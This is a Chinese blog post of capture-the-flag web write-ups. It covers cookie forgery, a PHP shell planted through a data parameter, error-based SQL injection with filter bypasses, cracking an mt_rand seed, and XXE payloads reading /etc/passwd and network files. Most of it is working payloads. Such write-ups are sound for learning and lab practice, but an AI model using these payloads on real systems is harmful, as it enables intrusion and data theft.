BUUCTF-WEB(71-75)

[watevrCTF-2019]Cookie Store

打开购买flag那个cookie抓包,有个session值得注意

image-20240608104311223

我们拿去cyberchef解密一下

image-20240608104356341

然后我们试试改一下

{"money": 200, "history": []}
eyJtb25leSI6IDIwMCwgImhpc3RvcnkiOiBbXX0=

然后发送

image-20240608105056630

响应包返回了一个session,我们解密一下就得到flag

image-20240608105050230

[红明谷CTF 2021]write_shell

打开就是源码,我们应该往里面存入数据,也就是代码,到时候访问就执行了,

image-20240608110152349

这里我们先看一下路径

?action=pwd

image-20240608110305841

sandbox/4247b8a5da98794f37ad36c75aaa5631/

然后就试着写数据,这里发现反引号没有被过滤,而且我们可以利用<?= ?>这个php短标签来写php代码,然后空格被过滤了,我们可以%09绕过一下

image-20240608120848299

所以payload:

?action=upload&data=<?=`ls%09/`?>

然后访问之前得到的路径

image-20240608120959333

然后查看flag

?action=upload&data=<?=`cat%09/f*`?>

image-20240608121106382

[RCTF2015]EasySQL

参考:

upfine的博客 (cnblogs.com)

[RCTF2015]EasySQL_[rctf2015]easysql 1-CSDN博客

先注册,登录进来,发现一个改密码的

image-20240608133205187

在这里修改密码也没有任何回显

image-20240608133743586

之后我创了一个用户名为1"的用户,再去随便改个密码,然后发现报错

image-20240608133924664

然后接下来就是开始报错注入,空格被过滤了,还有/**/因为页面没有什么回显,爆库

1"||(updatexml(1,concat(0x7e,database(),0x7e),1))#

image-20240608135515946

爆表

1"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1))#

image-20240608135839191

爆字段(flag是在users这个表中哦)

1"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='web_sqli')&&(table_name='users')),0x7e),1))#

image-20240608140225763

导出数据,这里由于updatexml只显示32位,所以并没有显示有用的数据

1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#

image-20240608140909948

然后我想尝试一下substr,mid,right,发现并不行,被过滤了,使用limit会报错,然后看大佬都说正则MySQL 正则表达式(REGEXP)_mysql regexp-CSDN博客,去找到flag所在位置,很牛逼,第一次学到,但是还只是一半

1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#

image-20240608142958492

flag{47ee3230-eaea-4a2a-a4b9-d3

然后又学到了这个,还需要使用reverse函数,逆序输出flag,输出后逆转一下

1"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1))#

image-20240608143537005

}dc845c0dc33d-9b4a-a2a4-aeae-03

最后拼接完整的flag

flag{47ee3230-eaea-4a2a-a4b9-d33cd0c548cd}

[GWCTF 2019]枯燥的抽奖

参考:

[BUUCTF题解][GWCTF 2019]枯燥的抽奖 - Article_kelp - 博客园 (cnblogs.com)

[GWCTF 2019]枯燥的抽奖-CSDN博客

PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户

打开题目说让我猜后面的字符串

image-20240609150300804

然后F12发现了文件check.php

image-20240609150329124

然后就看到源码了

image-20240609150354693

然后了解到这个随机生成的并不是真的随机,是可以根据某些计算算出来的,这个函数是通过一个种子然后去产生一个随机数,我们只需要知道种子就可以破解这个伪随机数

PHP的mt_rand函数作为一个随机数生成工具在程序中被广泛使用,但是大家都忽略了一个事实,mt_rand生成的随机数不是一个真正的随机数,而是一个伪随机数,不能应用于生成安全令牌、核心加解密key等等,所以很多知名程序都出现过对mt_rand函数的错误使用而导致的安全问题。php_mt_seed是一个破解mt_rand函数种子的工具,对它应用场景的深刻理解和应用能极大的提升漏洞发现的可能和利用的成功率。本文将详细介绍PHP mt_rand函数的安全问题及php_mt_seed应用场景。

我们后面会用到php_my_seed这个工具,我们先把已知的部分转成这个工具可以识别的格式

str1 ='EJOa9oEmi5'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''


length = str(len(str2)-1)
for i in range(0,len(str1)):
    for j in range(0,len(str2)):
        if str1[i] ==  str2[j]:
            result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
            break


print(result)
40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61 

然后下载这个php_my_seed工具,记得是在linux环境下运行的,记得先编译

make time ./php_mt_seed.c 40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61

然后我这边没运行起来,我自己编译完又运行了一次

/php_mt_seed 40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61

image-20240609151654987

得到种子67026161

拿到种子,去生成完整的这个字符串

<?php
mt_srand(67026161);    //在这里填入获得的种子
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo($str);
EJOa9oEmi5LpHzqXCixt

然后填入那个猜测的框中

image-20240609152149124

[NCTF2019]True XML cookbook

参考:[NCTF2019]True XML cookbook-CSDN博客

打开源码,发现似曾相识,直接xml注入

image-20240609152322921

那我们抓包xml注入

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<user><username>&entityex;</username><password>111</password></user>

image-20240609152638368

查看flag(失败版本)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///flag">
]>
<user><username>&entityex;</username><password>111</password></user>

image-20240609152956921

看来是没有这个/flag文件,还有一个知识xxe可以内网探测存活的主机,获取/etc/hosts文件,我们分别读取关键文件:/etc/hosts 和 /proc/net/arp:

file:///etc/hosts

image-20240609153221391

然后发现了两个ip

file:///proc/net/arp:

image-20240609153250685

然后尝试访问了一下,不行,然后C段扫描一下

我这里用脚本还是burp的爆破,都没有出来

posted @ 2024-06-09 15:52  Muneyoshi  阅读(13)  评论(0编辑  收藏  举报